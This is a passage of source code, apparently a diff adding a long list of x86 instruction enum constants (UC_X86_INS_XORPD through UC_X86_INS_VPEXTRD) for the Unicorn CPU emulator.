UC_X86_INS_XORPD, + UC_X86_INS_XORPS, + UC_X86_INS_GETSEC, + UC_X86_INS_HADDPD, + UC_X86_INS_HADDPS, + UC_X86_INS_HLT, + UC_X86_INS_HSUBPD, + UC_X86_INS_HSUBPS, + UC_X86_INS_IDIV, + UC_X86_INS_FILD, + UC_X86_INS_IMUL, + UC_X86_INS_IN, + UC_X86_INS_INC, + UC_X86_INS_INSB, + UC_X86_INS_INSERTPS, + UC_X86_INS_INSERTQ, + UC_X86_INS_INSD, + UC_X86_INS_INSW, + UC_X86_INS_INT, + UC_X86_INS_INT1, + UC_X86_INS_INT3, + UC_X86_INS_INTO, + UC_X86_INS_INVD, + UC_X86_INS_INVEPT, + UC_X86_INS_INVLPG, + UC_X86_INS_INVLPGA, + UC_X86_INS_INVPCID, + UC_X86_INS_INVVPID, + UC_X86_INS_IRET, + UC_X86_INS_IRETD, + UC_X86_INS_IRETQ, + UC_X86_INS_FISTTP, + UC_X86_INS_FIST, + UC_X86_INS_FISTP, + UC_X86_INS_UCOMISD, + UC_X86_INS_UCOMISS, + UC_X86_INS_VCOMISD, + UC_X86_INS_VCOMISS, + UC_X86_INS_VCVTSD2SS, + UC_X86_INS_VCVTSI2SD, + UC_X86_INS_VCVTSI2SS, + UC_X86_INS_VCVTSS2SD, + UC_X86_INS_VCVTTSD2SI, + UC_X86_INS_VCVTTSD2USI, + UC_X86_INS_VCVTTSS2SI, + UC_X86_INS_VCVTTSS2USI, + UC_X86_INS_VCVTUSI2SD, + UC_X86_INS_VCVTUSI2SS, + UC_X86_INS_VUCOMISD, + UC_X86_INS_VUCOMISS, + UC_X86_INS_JAE, + UC_X86_INS_JA, + UC_X86_INS_JBE, + UC_X86_INS_JB, + UC_X86_INS_JCXZ, + UC_X86_INS_JECXZ, + UC_X86_INS_JE, + UC_X86_INS_JGE, + UC_X86_INS_JG, + UC_X86_INS_JLE, + UC_X86_INS_JL, + UC_X86_INS_JMP, + UC_X86_INS_JNE, + UC_X86_INS_JNO, + UC_X86_INS_JNP, + UC_X86_INS_JNS, + UC_X86_INS_JO, + UC_X86_INS_JP, + UC_X86_INS_JRCXZ, + UC_X86_INS_JS, + UC_X86_INS_KANDB, + UC_X86_INS_KANDD, + UC_X86_INS_KANDNB, + UC_X86_INS_KANDND, + UC_X86_INS_KANDNQ, + UC_X86_INS_KANDNW, + UC_X86_INS_KANDQ, + UC_X86_INS_KANDW, + UC_X86_INS_KMOVB, + UC_X86_INS_KMOVD, + UC_X86_INS_KMOVQ, + UC_X86_INS_KMOVW, + UC_X86_INS_KNOTB, + UC_X86_INS_KNOTD, + UC_X86_INS_KNOTQ, + UC_X86_INS_KNOTW, + UC_X86_INS_KORB, + UC_X86_INS_KORD, + UC_X86_INS_KORQ, + UC_X86_INS_KORTESTB, + UC_X86_INS_KORTESTD, + UC_X86_INS_KORTESTQ, + UC_X86_INS_KORTESTW, + UC_X86_INS_KORW, + UC_X86_INS_KSHIFTLB, + UC_X86_INS_KSHIFTLD, + UC_X86_INS_KSHIFTLQ, + UC_X86_INS_KSHIFTLW, + UC_X86_INS_KSHIFTRB, + UC_X86_INS_KSHIFTRD, + UC_X86_INS_KSHIFTRQ, + UC_X86_INS_KSHIFTRW, + UC_X86_INS_KUNPCKBW, + UC_X86_INS_KXNORB, + UC_X86_INS_KXNORD, + UC_X86_INS_KXNORQ, + UC_X86_INS_KXNORW, + UC_X86_INS_KXORB, + UC_X86_INS_KXORD, + UC_X86_INS_KXORQ, + UC_X86_INS_KXORW, + UC_X86_INS_LAHF, + UC_X86_INS_LAR, + UC_X86_INS_LDDQU, + UC_X86_INS_LDMXCSR, + UC_X86_INS_LDS, + UC_X86_INS_FLDZ, + UC_X86_INS_FLD1, + UC_X86_INS_FLD, + UC_X86_INS_LEA, + UC_X86_INS_LEAVE, + UC_X86_INS_LES, + UC_X86_INS_LFENCE, + UC_X86_INS_LFS, + UC_X86_INS_LGDT, + UC_X86_INS_LGS, + UC_X86_INS_LIDT, + UC_X86_INS_LLDT, + UC_X86_INS_LMSW, + UC_X86_INS_OR, + UC_X86_INS_SUB, + UC_X86_INS_XOR, + UC_X86_INS_LODSB, + UC_X86_INS_LODSD, + UC_X86_INS_LODSQ, + UC_X86_INS_LODSW, + UC_X86_INS_LOOP, + UC_X86_INS_LOOPE, + UC_X86_INS_LOOPNE, + UC_X86_INS_RETF, + UC_X86_INS_RETFQ, + UC_X86_INS_LSL, + UC_X86_INS_LSS, + UC_X86_INS_LTR, + UC_X86_INS_XADD, + UC_X86_INS_LZCNT, + UC_X86_INS_MASKMOVDQU, + UC_X86_INS_MAXPD, + UC_X86_INS_MAXPS, + UC_X86_INS_MAXSD, + UC_X86_INS_MAXSS, + UC_X86_INS_MFENCE, + UC_X86_INS_MINPD, + UC_X86_INS_MINPS, + UC_X86_INS_MINSD, + UC_X86_INS_MINSS, + UC_X86_INS_CVTPD2PI, + UC_X86_INS_CVTPI2PD, + UC_X86_INS_CVTPI2PS, + UC_X86_INS_CVTPS2PI, + UC_X86_INS_CVTTPD2PI, + UC_X86_INS_CVTTPS2PI, + UC_X86_INS_EMMS, + UC_X86_INS_MASKMOVQ, + UC_X86_INS_MOVD, + UC_X86_INS_MOVDQ2Q, + UC_X86_INS_MOVNTQ, + UC_X86_INS_MOVQ2DQ, + UC_X86_INS_MOVQ, + UC_X86_INS_PABSB, + UC_X86_INS_PABSD, + UC_X86_INS_PABSW, + UC_X86_INS_PACKSSDW, + UC_X86_INS_PACKSSWB, + UC_X86_INS_PACKUSWB, + UC_X86_INS_PADDB, + UC_X86_INS_PADDD, + UC_X86_INS_PADDQ, + UC_X86_INS_PADDSB, + UC_X86_INS_PADDSW, + UC_X86_INS_PADDUSB, + UC_X86_INS_PADDUSW, + UC_X86_INS_PADDW, + UC_X86_INS_PALIGNR, + UC_X86_INS_PANDN, + UC_X86_INS_PAND, + UC_X86_INS_PAVGB, + UC_X86_INS_PAVGW, + UC_X86_INS_PCMPEQB, + UC_X86_INS_PCMPEQD, + UC_X86_INS_PCMPEQW, + UC_X86_INS_PCMPGTB, + UC_X86_INS_PCMPGTD, + UC_X86_INS_PCMPGTW, + UC_X86_INS_PEXTRW, + UC_X86_INS_PHADDSW, + UC_X86_INS_PHADDW, + UC_X86_INS_PHADDD, + UC_X86_INS_PHSUBD, + UC_X86_INS_PHSUBSW, + UC_X86_INS_PHSUBW, + UC_X86_INS_PINSRW, + UC_X86_INS_PMADDUBSW, + UC_X86_INS_PMADDWD, + UC_X86_INS_PMAXSW, + UC_X86_INS_PMAXUB, + UC_X86_INS_PMINSW, + UC_X86_INS_PMINUB, + UC_X86_INS_PMOVMSKB, + UC_X86_INS_PMULHRSW, + UC_X86_INS_PMULHUW, + UC_X86_INS_PMULHW, + UC_X86_INS_PMULLW, + UC_X86_INS_PMULUDQ, + UC_X86_INS_POR, + UC_X86_INS_PSADBW, + UC_X86_INS_PSHUFB, + UC_X86_INS_PSHUFW, + UC_X86_INS_PSIGNB, + UC_X86_INS_PSIGND, + UC_X86_INS_PSIGNW, + UC_X86_INS_PSLLD, + UC_X86_INS_PSLLQ, + UC_X86_INS_PSLLW, + UC_X86_INS_PSRAD, + UC_X86_INS_PSRAW, + UC_X86_INS_PSRLD, + UC_X86_INS_PSRLQ, + UC_X86_INS_PSRLW, + UC_X86_INS_PSUBB, + UC_X86_INS_PSUBD, + UC_X86_INS_PSUBQ, + UC_X86_INS_PSUBSB, + UC_X86_INS_PSUBSW, + UC_X86_INS_PSUBUSB, + UC_X86_INS_PSUBUSW, + UC_X86_INS_PSUBW, + UC_X86_INS_PUNPCKHBW, + UC_X86_INS_PUNPCKHDQ, + UC_X86_INS_PUNPCKHWD, + UC_X86_INS_PUNPCKLBW, + UC_X86_INS_PUNPCKLDQ, + UC_X86_INS_PUNPCKLWD, + UC_X86_INS_PXOR, + UC_X86_INS_MONITOR, + UC_X86_INS_MONTMUL, + UC_X86_INS_MOV, + UC_X86_INS_MOVABS, + UC_X86_INS_MOVBE, + UC_X86_INS_MOVDDUP, + UC_X86_INS_MOVDQA, + UC_X86_INS_MOVDQU, + UC_X86_INS_MOVHLPS, + UC_X86_INS_MOVHPD, + UC_X86_INS_MOVHPS, + UC_X86_INS_MOVLHPS, + UC_X86_INS_MOVLPD, + UC_X86_INS_MOVLPS, + UC_X86_INS_MOVMSKPD, + UC_X86_INS_MOVMSKPS, + UC_X86_INS_MOVNTDQA, + UC_X86_INS_MOVNTDQ, + UC_X86_INS_MOVNTI, + UC_X86_INS_MOVNTPD, + UC_X86_INS_MOVNTPS, + UC_X86_INS_MOVNTSD, + UC_X86_INS_MOVNTSS, + UC_X86_INS_MOVSB, + UC_X86_INS_MOVSD, + UC_X86_INS_MOVSHDUP, + UC_X86_INS_MOVSLDUP, + UC_X86_INS_MOVSQ, + UC_X86_INS_MOVSS, + UC_X86_INS_MOVSW, + UC_X86_INS_MOVSX, + UC_X86_INS_MOVSXD, + UC_X86_INS_MOVUPD, + UC_X86_INS_MOVUPS, + UC_X86_INS_MOVZX, + UC_X86_INS_MPSADBW, + UC_X86_INS_MUL, + UC_X86_INS_MULPD, + UC_X86_INS_MULPS, + UC_X86_INS_MULSD, + UC_X86_INS_MULSS, + UC_X86_INS_MULX, + UC_X86_INS_FMUL, + UC_X86_INS_FIMUL, + UC_X86_INS_FMULP, + UC_X86_INS_MWAIT, + UC_X86_INS_NEG, + UC_X86_INS_NOP, + UC_X86_INS_NOT, + UC_X86_INS_OUT, + UC_X86_INS_OUTSB, + UC_X86_INS_OUTSD, + UC_X86_INS_OUTSW, + UC_X86_INS_PACKUSDW, + UC_X86_INS_PAUSE, + UC_X86_INS_PAVGUSB, + UC_X86_INS_PBLENDVB, + UC_X86_INS_PBLENDW, + UC_X86_INS_PCLMULQDQ, + UC_X86_INS_PCMPEQQ, + UC_X86_INS_PCMPESTRI, + UC_X86_INS_PCMPESTRM, + UC_X86_INS_PCMPGTQ, + UC_X86_INS_PCMPISTRI, + UC_X86_INS_PCMPISTRM, + UC_X86_INS_PCOMMIT, + UC_X86_INS_PDEP, + UC_X86_INS_PEXT, + UC_X86_INS_PEXTRB, + UC_X86_INS_PEXTRD, + UC_X86_INS_PEXTRQ, + UC_X86_INS_PF2ID, + UC_X86_INS_PF2IW, + UC_X86_INS_PFACC, + UC_X86_INS_PFADD, + UC_X86_INS_PFCMPEQ, + UC_X86_INS_PFCMPGE, + UC_X86_INS_PFCMPGT, + UC_X86_INS_PFMAX, + UC_X86_INS_PFMIN, + UC_X86_INS_PFMUL, + UC_X86_INS_PFNACC, + UC_X86_INS_PFPNACC, + UC_X86_INS_PFRCPIT1, + UC_X86_INS_PFRCPIT2, + UC_X86_INS_PFRCP, + UC_X86_INS_PFRSQIT1, + UC_X86_INS_PFRSQRT, + UC_X86_INS_PFSUBR, + UC_X86_INS_PFSUB, + UC_X86_INS_PHMINPOSUW, + UC_X86_INS_PI2FD, + UC_X86_INS_PI2FW, + UC_X86_INS_PINSRB, + UC_X86_INS_PINSRD, + UC_X86_INS_PINSRQ, + UC_X86_INS_PMAXSB, + UC_X86_INS_PMAXSD, + UC_X86_INS_PMAXUD, + UC_X86_INS_PMAXUW, + UC_X86_INS_PMINSB, + UC_X86_INS_PMINSD, + UC_X86_INS_PMINUD, + UC_X86_INS_PMINUW, + UC_X86_INS_PMOVSXBD, + UC_X86_INS_PMOVSXBQ, + UC_X86_INS_PMOVSXBW, + UC_X86_INS_PMOVSXDQ, + UC_X86_INS_PMOVSXWD, + UC_X86_INS_PMOVSXWQ, + UC_X86_INS_PMOVZXBD, + UC_X86_INS_PMOVZXBQ, + UC_X86_INS_PMOVZXBW, + UC_X86_INS_PMOVZXDQ, + UC_X86_INS_PMOVZXWD, + UC_X86_INS_PMOVZXWQ, + UC_X86_INS_PMULDQ, + UC_X86_INS_PMULHRW, + UC_X86_INS_PMULLD, + UC_X86_INS_POP, + UC_X86_INS_POPAW, + UC_X86_INS_POPAL, + UC_X86_INS_POPCNT, + UC_X86_INS_POPF, + UC_X86_INS_POPFD, + UC_X86_INS_POPFQ, + UC_X86_INS_PREFETCH, + UC_X86_INS_PREFETCHNTA, + UC_X86_INS_PREFETCHT0, + UC_X86_INS_PREFETCHT1, + UC_X86_INS_PREFETCHT2, + UC_X86_INS_PREFETCHW, + UC_X86_INS_PSHUFD, + UC_X86_INS_PSHUFHW, + UC_X86_INS_PSHUFLW, + UC_X86_INS_PSLLDQ, + UC_X86_INS_PSRLDQ, + UC_X86_INS_PSWAPD, + UC_X86_INS_PTEST, + UC_X86_INS_PUNPCKHQDQ, + UC_X86_INS_PUNPCKLQDQ, + UC_X86_INS_PUSH, + UC_X86_INS_PUSHAW, + UC_X86_INS_PUSHAL, + UC_X86_INS_PUSHF, + UC_X86_INS_PUSHFD, + UC_X86_INS_PUSHFQ, + UC_X86_INS_RCL, + UC_X86_INS_RCPPS, + UC_X86_INS_RCPSS, + UC_X86_INS_RCR, + UC_X86_INS_RDFSBASE, + UC_X86_INS_RDGSBASE, + UC_X86_INS_RDMSR, + UC_X86_INS_RDPMC, + UC_X86_INS_RDRAND, + UC_X86_INS_RDSEED, + UC_X86_INS_RDTSC, + UC_X86_INS_RDTSCP, + UC_X86_INS_ROL, + UC_X86_INS_ROR, + UC_X86_INS_RORX, + UC_X86_INS_ROUNDPD, + UC_X86_INS_ROUNDPS, + UC_X86_INS_ROUNDSD, + UC_X86_INS_ROUNDSS, + UC_X86_INS_RSM, + UC_X86_INS_RSQRTPS, + UC_X86_INS_RSQRTSS, + UC_X86_INS_SAHF, + UC_X86_INS_SAL, + UC_X86_INS_SALC, + UC_X86_INS_SAR, + UC_X86_INS_SARX, + UC_X86_INS_SBB, + UC_X86_INS_SCASB, + UC_X86_INS_SCASD, + UC_X86_INS_SCASQ, + UC_X86_INS_SCASW, + UC_X86_INS_SETAE, + UC_X86_INS_SETA, + UC_X86_INS_SETBE, + UC_X86_INS_SETB, + UC_X86_INS_SETE, + UC_X86_INS_SETGE, + UC_X86_INS_SETG, + UC_X86_INS_SETLE, + UC_X86_INS_SETL, + UC_X86_INS_SETNE, + UC_X86_INS_SETNO, + UC_X86_INS_SETNP, + UC_X86_INS_SETNS, + UC_X86_INS_SETO, + UC_X86_INS_SETP, + UC_X86_INS_SETS, + UC_X86_INS_SFENCE, + UC_X86_INS_SGDT, + UC_X86_INS_SHA1MSG1, + UC_X86_INS_SHA1MSG2, + UC_X86_INS_SHA1NEXTE, + UC_X86_INS_SHA1RNDS4, + UC_X86_INS_SHA256MSG1, + UC_X86_INS_SHA256MSG2, + UC_X86_INS_SHA256RNDS2, + UC_X86_INS_SHL, + UC_X86_INS_SHLD, + UC_X86_INS_SHLX, + UC_X86_INS_SHR, + UC_X86_INS_SHRD, + UC_X86_INS_SHRX, + UC_X86_INS_SHUFPD, + UC_X86_INS_SHUFPS, + UC_X86_INS_SIDT, + UC_X86_INS_FSIN, + UC_X86_INS_SKINIT, + UC_X86_INS_SLDT, + UC_X86_INS_SMSW, + UC_X86_INS_SQRTPD, + UC_X86_INS_SQRTPS, + UC_X86_INS_SQRTSD, + UC_X86_INS_SQRTSS, + UC_X86_INS_FSQRT, + UC_X86_INS_STAC, + UC_X86_INS_STC, + UC_X86_INS_STD, + UC_X86_INS_STGI, + UC_X86_INS_STI, + UC_X86_INS_STMXCSR, + UC_X86_INS_STOSB, + UC_X86_INS_STOSD, + UC_X86_INS_STOSQ, + UC_X86_INS_STOSW, + UC_X86_INS_STR, + UC_X86_INS_FST, + UC_X86_INS_FSTP, + UC_X86_INS_FSTPNCE, + UC_X86_INS_FXCH, + UC_X86_INS_SUBPD, + UC_X86_INS_SUBPS, + UC_X86_INS_FSUBR, + UC_X86_INS_FISUBR, + UC_X86_INS_FSUBRP, + UC_X86_INS_SUBSD, + UC_X86_INS_SUBSS, + UC_X86_INS_FSUB, + UC_X86_INS_FISUB, + UC_X86_INS_FSUBP, + UC_X86_INS_SWAPGS, + UC_X86_INS_SYSCALL, + UC_X86_INS_SYSENTER, + UC_X86_INS_SYSEXIT, + UC_X86_INS_SYSRET, + UC_X86_INS_T1MSKC, + UC_X86_INS_TEST, + UC_X86_INS_UD2, + UC_X86_INS_FTST, + UC_X86_INS_TZCNT, + UC_X86_INS_TZMSK, + UC_X86_INS_FUCOMPI, + UC_X86_INS_FUCOMI, + UC_X86_INS_FUCOMPP, + UC_X86_INS_FUCOMP, + UC_X86_INS_FUCOM, + UC_X86_INS_UD2B, + UC_X86_INS_UNPCKHPD, + UC_X86_INS_UNPCKHPS, + UC_X86_INS_UNPCKLPD, + UC_X86_INS_UNPCKLPS, + UC_X86_INS_VADDPD, + UC_X86_INS_VADDPS, + UC_X86_INS_VADDSD, + UC_X86_INS_VADDSS, + UC_X86_INS_VADDSUBPD, + UC_X86_INS_VADDSUBPS, + UC_X86_INS_VAESDECLAST, + UC_X86_INS_VAESDEC, + UC_X86_INS_VAESENCLAST, + UC_X86_INS_VAESENC, + UC_X86_INS_VAESIMC, + UC_X86_INS_VAESKEYGENASSIST, + UC_X86_INS_VALIGND, + UC_X86_INS_VALIGNQ, + UC_X86_INS_VANDNPD, + UC_X86_INS_VANDNPS, + UC_X86_INS_VANDPD, + UC_X86_INS_VANDPS, + UC_X86_INS_VBLENDMPD, + UC_X86_INS_VBLENDMPS, + UC_X86_INS_VBLENDPD, + UC_X86_INS_VBLENDPS, + UC_X86_INS_VBLENDVPD, + UC_X86_INS_VBLENDVPS, + UC_X86_INS_VBROADCASTF128, + UC_X86_INS_VBROADCASTI32X4, + UC_X86_INS_VBROADCASTI64X4, + UC_X86_INS_VBROADCASTSD, + UC_X86_INS_VBROADCASTSS, + UC_X86_INS_VCMPPD, + UC_X86_INS_VCMPPS, + UC_X86_INS_VCMPSD, + UC_X86_INS_VCMPSS, + UC_X86_INS_VCOMPRESSPD, + UC_X86_INS_VCOMPRESSPS, + UC_X86_INS_VCVTDQ2PD, + UC_X86_INS_VCVTDQ2PS, + UC_X86_INS_VCVTPD2DQX, + UC_X86_INS_VCVTPD2DQ, + UC_X86_INS_VCVTPD2PSX, + UC_X86_INS_VCVTPD2PS, + UC_X86_INS_VCVTPD2UDQ, + UC_X86_INS_VCVTPH2PS, + UC_X86_INS_VCVTPS2DQ, + UC_X86_INS_VCVTPS2PD, + UC_X86_INS_VCVTPS2PH, + UC_X86_INS_VCVTPS2UDQ, + UC_X86_INS_VCVTSD2SI, + UC_X86_INS_VCVTSD2USI, + UC_X86_INS_VCVTSS2SI, + UC_X86_INS_VCVTSS2USI, + UC_X86_INS_VCVTTPD2DQX, + UC_X86_INS_VCVTTPD2DQ, + UC_X86_INS_VCVTTPD2UDQ, + UC_X86_INS_VCVTTPS2DQ, + UC_X86_INS_VCVTTPS2UDQ, + UC_X86_INS_VCVTUDQ2PD, + UC_X86_INS_VCVTUDQ2PS, + UC_X86_INS_VDIVPD, + UC_X86_INS_VDIVPS, + UC_X86_INS_VDIVSD, + UC_X86_INS_VDIVSS, + UC_X86_INS_VDPPD, + UC_X86_INS_VDPPS, + UC_X86_INS_VERR, + UC_X86_INS_VERW, + UC_X86_INS_VEXP2PD, + UC_X86_INS_VEXP2PS, + UC_X86_INS_VEXPANDPD, + UC_X86_INS_VEXPANDPS, + UC_X86_INS_VEXTRACTF128, + UC_X86_INS_VEXTRACTF32X4, + UC_X86_INS_VEXTRACTF64X4, + UC_X86_INS_VEXTRACTI128, + UC_X86_INS_VEXTRACTI32X4, + UC_X86_INS_VEXTRACTI64X4, + UC_X86_INS_VEXTRACTPS, + UC_X86_INS_VFMADD132PD, + UC_X86_INS_VFMADD132PS, + UC_X86_INS_VFMADDPD, + UC_X86_INS_VFMADD213PD, + UC_X86_INS_VFMADD231PD, + UC_X86_INS_VFMADDPS, + UC_X86_INS_VFMADD213PS, + UC_X86_INS_VFMADD231PS, + UC_X86_INS_VFMADDSD, + UC_X86_INS_VFMADD213SD, + UC_X86_INS_VFMADD132SD, + UC_X86_INS_VFMADD231SD, + UC_X86_INS_VFMADDSS, + UC_X86_INS_VFMADD213SS, + UC_X86_INS_VFMADD132SS, + UC_X86_INS_VFMADD231SS, + UC_X86_INS_VFMADDSUB132PD, + UC_X86_INS_VFMADDSUB132PS, + UC_X86_INS_VFMADDSUBPD, + UC_X86_INS_VFMADDSUB213PD, + UC_X86_INS_VFMADDSUB231PD, + UC_X86_INS_VFMADDSUBPS, + UC_X86_INS_VFMADDSUB213PS, + UC_X86_INS_VFMADDSUB231PS, + UC_X86_INS_VFMSUB132PD, + UC_X86_INS_VFMSUB132PS, + UC_X86_INS_VFMSUBADD132PD, + UC_X86_INS_VFMSUBADD132PS, + UC_X86_INS_VFMSUBADDPD, + UC_X86_INS_VFMSUBADD213PD, + UC_X86_INS_VFMSUBADD231PD, + UC_X86_INS_VFMSUBADDPS, + UC_X86_INS_VFMSUBADD213PS, + UC_X86_INS_VFMSUBADD231PS, + UC_X86_INS_VFMSUBPD, + UC_X86_INS_VFMSUB213PD, + UC_X86_INS_VFMSUB231PD, + UC_X86_INS_VFMSUBPS, + UC_X86_INS_VFMSUB213PS, + UC_X86_INS_VFMSUB231PS, + UC_X86_INS_VFMSUBSD, + UC_X86_INS_VFMSUB213SD, + UC_X86_INS_VFMSUB132SD, + UC_X86_INS_VFMSUB231SD, + UC_X86_INS_VFMSUBSS, + UC_X86_INS_VFMSUB213SS, + UC_X86_INS_VFMSUB132SS, + UC_X86_INS_VFMSUB231SS, + UC_X86_INS_VFNMADD132PD, + UC_X86_INS_VFNMADD132PS, + UC_X86_INS_VFNMADDPD, + UC_X86_INS_VFNMADD213PD, + UC_X86_INS_VFNMADD231PD, + UC_X86_INS_VFNMADDPS, + UC_X86_INS_VFNMADD213PS, + UC_X86_INS_VFNMADD231PS, + UC_X86_INS_VFNMADDSD, + UC_X86_INS_VFNMADD213SD, + UC_X86_INS_VFNMADD132SD, + UC_X86_INS_VFNMADD231SD, + UC_X86_INS_VFNMADDSS, + UC_X86_INS_VFNMADD213SS, + UC_X86_INS_VFNMADD132SS, + UC_X86_INS_VFNMADD231SS, + UC_X86_INS_VFNMSUB132PD, + UC_X86_INS_VFNMSUB132PS, + UC_X86_INS_VFNMSUBPD, + UC_X86_INS_VFNMSUB213PD, + UC_X86_INS_VFNMSUB231PD, + UC_X86_INS_VFNMSUBPS, + UC_X86_INS_VFNMSUB213PS, + UC_X86_INS_VFNMSUB231PS, + UC_X86_INS_VFNMSUBSD, + UC_X86_INS_VFNMSUB213SD, + UC_X86_INS_VFNMSUB132SD, + UC_X86_INS_VFNMSUB231SD, + UC_X86_INS_VFNMSUBSS, + UC_X86_INS_VFNMSUB213SS, + UC_X86_INS_VFNMSUB132SS, + UC_X86_INS_VFNMSUB231SS, + UC_X86_INS_VFRCZPD, + UC_X86_INS_VFRCZPS, + UC_X86_INS_VFRCZSD, + UC_X86_INS_VFRCZSS, + UC_X86_INS_VORPD, + UC_X86_INS_VORPS, + UC_X86_INS_VXORPD, + UC_X86_INS_VXORPS, + UC_X86_INS_VGATHERDPD, + UC_X86_INS_VGATHERDPS, + UC_X86_INS_VGATHERPF0DPD, + UC_X86_INS_VGATHERPF0DPS, + UC_X86_INS_VGATHERPF0QPD, + UC_X86_INS_VGATHERPF0QPS, + UC_X86_INS_VGATHERPF1DPD, + UC_X86_INS_VGATHERPF1DPS, + UC_X86_INS_VGATHERPF1QPD, + UC_X86_INS_VGATHERPF1QPS, + UC_X86_INS_VGATHERQPD, + UC_X86_INS_VGATHERQPS, + UC_X86_INS_VHADDPD, + UC_X86_INS_VHADDPS, + UC_X86_INS_VHSUBPD, + UC_X86_INS_VHSUBPS, + UC_X86_INS_VINSERTF128, + UC_X86_INS_VINSERTF32X4, + UC_X86_INS_VINSERTF32X8, + UC_X86_INS_VINSERTF64X2, + UC_X86_INS_VINSERTF64X4, + UC_X86_INS_VINSERTI128, + UC_X86_INS_VINSERTI32X4, + UC_X86_INS_VINSERTI32X8, + UC_X86_INS_VINSERTI64X2, + UC_X86_INS_VINSERTI64X4, + UC_X86_INS_VINSERTPS, + UC_X86_INS_VLDDQU, + UC_X86_INS_VLDMXCSR, + UC_X86_INS_VMASKMOVDQU, + UC_X86_INS_VMASKMOVPD, + UC_X86_INS_VMASKMOVPS, + UC_X86_INS_VMAXPD, + UC_X86_INS_VMAXPS, + UC_X86_INS_VMAXSD, + UC_X86_INS_VMAXSS, + UC_X86_INS_VMCALL, + UC_X86_INS_VMCLEAR, + UC_X86_INS_VMFUNC, + UC_X86_INS_VMINPD, + UC_X86_INS_VMINPS, + UC_X86_INS_VMINSD, + UC_X86_INS_VMINSS, + UC_X86_INS_VMLAUNCH, + UC_X86_INS_VMLOAD, + UC_X86_INS_VMMCALL, + UC_X86_INS_VMOVQ, + UC_X86_INS_VMOVDDUP, + UC_X86_INS_VMOVD, + UC_X86_INS_VMOVDQA32, + UC_X86_INS_VMOVDQA64, + UC_X86_INS_VMOVDQA, + UC_X86_INS_VMOVDQU16, + UC_X86_INS_VMOVDQU32, + UC_X86_INS_VMOVDQU64, + UC_X86_INS_VMOVDQU8, + UC_X86_INS_VMOVDQU, + UC_X86_INS_VMOVHLPS, + UC_X86_INS_VMOVHPD, + UC_X86_INS_VMOVHPS, + UC_X86_INS_VMOVLHPS, + UC_X86_INS_VMOVLPD, + UC_X86_INS_VMOVLPS, + UC_X86_INS_VMOVMSKPD, + UC_X86_INS_VMOVMSKPS, + UC_X86_INS_VMOVNTDQA, + UC_X86_INS_VMOVNTDQ, + UC_X86_INS_VMOVNTPD, + UC_X86_INS_VMOVNTPS, + UC_X86_INS_VMOVSD, + UC_X86_INS_VMOVSHDUP, + UC_X86_INS_VMOVSLDUP, + UC_X86_INS_VMOVSS, + UC_X86_INS_VMOVUPD, + UC_X86_INS_VMOVUPS, + UC_X86_INS_VMPSADBW, + UC_X86_INS_VMPTRLD, + UC_X86_INS_VMPTRST, + UC_X86_INS_VMREAD, + UC_X86_INS_VMRESUME, + UC_X86_INS_VMRUN, + UC_X86_INS_VMSAVE, + UC_X86_INS_VMULPD, + UC_X86_INS_VMULPS, + UC_X86_INS_VMULSD, + UC_X86_INS_VMULSS, + UC_X86_INS_VMWRITE, + UC_X86_INS_VMXOFF, + UC_X86_INS_VMXON, + UC_X86_INS_VPABSB, + UC_X86_INS_VPABSD, + UC_X86_INS_VPABSQ, + UC_X86_INS_VPABSW, + UC_X86_INS_VPACKSSDW, + UC_X86_INS_VPACKSSWB, + UC_X86_INS_VPACKUSDW, + UC_X86_INS_VPACKUSWB, + UC_X86_INS_VPADDB, + UC_X86_INS_VPADDD, + UC_X86_INS_VPADDQ, + UC_X86_INS_VPADDSB, + UC_X86_INS_VPADDSW, + UC_X86_INS_VPADDUSB, + UC_X86_INS_VPADDUSW, + UC_X86_INS_VPADDW, + UC_X86_INS_VPALIGNR, + UC_X86_INS_VPANDD, + UC_X86_INS_VPANDND, + UC_X86_INS_VPANDNQ, + UC_X86_INS_VPANDN, + UC_X86_INS_VPANDQ, + UC_X86_INS_VPAND, + UC_X86_INS_VPAVGB, + UC_X86_INS_VPAVGW, + UC_X86_INS_VPBLENDD, + UC_X86_INS_VPBLENDMB, + UC_X86_INS_VPBLENDMD, + UC_X86_INS_VPBLENDMQ, + UC_X86_INS_VPBLENDMW, + UC_X86_INS_VPBLENDVB, + UC_X86_INS_VPBLENDW, + UC_X86_INS_VPBROADCASTB, + UC_X86_INS_VPBROADCASTD, + UC_X86_INS_VPBROADCASTMB2Q, + UC_X86_INS_VPBROADCASTMW2D, + UC_X86_INS_VPBROADCASTQ, + UC_X86_INS_VPBROADCASTW, + UC_X86_INS_VPCLMULQDQ, + UC_X86_INS_VPCMOV, + UC_X86_INS_VPCMPB, + UC_X86_INS_VPCMPD, + UC_X86_INS_VPCMPEQB, + UC_X86_INS_VPCMPEQD, + UC_X86_INS_VPCMPEQQ, + UC_X86_INS_VPCMPEQW, + UC_X86_INS_VPCMPESTRI, + UC_X86_INS_VPCMPESTRM, + UC_X86_INS_VPCMPGTB, + UC_X86_INS_VPCMPGTD, + UC_X86_INS_VPCMPGTQ, + UC_X86_INS_VPCMPGTW, + UC_X86_INS_VPCMPISTRI, + UC_X86_INS_VPCMPISTRM, + UC_X86_INS_VPCMPQ, + UC_X86_INS_VPCMPUB, + UC_X86_INS_VPCMPUD, + UC_X86_INS_VPCMPUQ, + UC_X86_INS_VPCMPUW, + UC_X86_INS_VPCMPW, + UC_X86_INS_VPCOMB, + UC_X86_INS_VPCOMD, + UC_X86_INS_VPCOMPRESSD, + UC_X86_INS_VPCOMPRESSQ, + UC_X86_INS_VPCOMQ, + UC_X86_INS_VPCOMUB, + UC_X86_INS_VPCOMUD, + UC_X86_INS_VPCOMUQ, + UC_X86_INS_VPCOMUW, + UC_X86_INS_VPCOMW, + UC_X86_INS_VPCONFLICTD, + UC_X86_INS_VPCONFLICTQ, + UC_X86_INS_VPERM2F128, + UC_X86_INS_VPERM2I128, + UC_X86_INS_VPERMD, + UC_X86_INS_VPERMI2D, + UC_X86_INS_VPERMI2PD, + UC_X86_INS_VPERMI2PS, + UC_X86_INS_VPERMI2Q, + UC_X86_INS_VPERMIL2PD, + UC_X86_INS_VPERMIL2PS, + UC_X86_INS_VPERMILPD, + UC_X86_INS_VPERMILPS, + UC_X86_INS_VPERMPD, + UC_X86_INS_VPERMPS, + UC_X86_INS_VPERMQ, + UC_X86_INS_VPERMT2D, + UC_X86_INS_VPERMT2PD, + UC_X86_INS_VPERMT2PS, + UC_X86_INS_VPERMT2Q, + UC_X86_INS_VPEXPANDD, + UC_X86_INS_VPEXPANDQ, + UC_X86_INS_VPEXTRB, + UC_X86_INS_VPEXTRD, + 